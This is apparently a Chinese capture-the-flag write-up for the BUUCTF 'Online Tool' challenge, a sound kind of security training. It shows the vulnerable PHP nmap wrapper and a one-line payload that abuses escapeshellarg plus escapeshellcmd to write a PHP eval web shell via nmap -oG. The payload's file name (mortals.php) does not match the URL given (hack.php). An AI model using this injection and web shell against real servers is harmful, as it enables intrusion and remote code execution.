[BUUCTF 2018]Online Tool 1
1.发现
1.1打开题目地址发现为PHP代码审计。
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //获取IP $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); //对文件语法进行高亮显示 } else { $host = $_GET['host']; $host = escapeshellarg($host); //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号 $host = escapeshellcmd($host); //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); //新建目录,默认权限,最大可能的访问权 chdir($sandbox); //改变目录路径,成功返回true,失败返回false echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); // -sT,在目标主机的日志上记录大批连接请求和错误的信息 // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令 // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟 // --host-time限制扫描时间 // -F,快速扫描
1.2关键点在于这个两个函数,这两个函数结合在一起使用,且先调用escapeshellarg函数的时候,有危险。
$host = escapeshellarg($host); $host = escapeshellcmd($host);
2.步骤
2.1构造payload,得到文件夹。
?host=' <?php @eval($_POST["tx"]);?> -oG mortals.php '
2.2用蚁剑链接,得到flag。
☆★http://a3ee6eba-716a-4add-903c-f68e5c4478cb.node4.buuoj.cn:81/1cdc3c07b1b397d1d20acafd6ab4c471/hack.php
3.借鉴
BUUCTF复现记录2 - mortals-tx - 博客园 (cnblogs.com)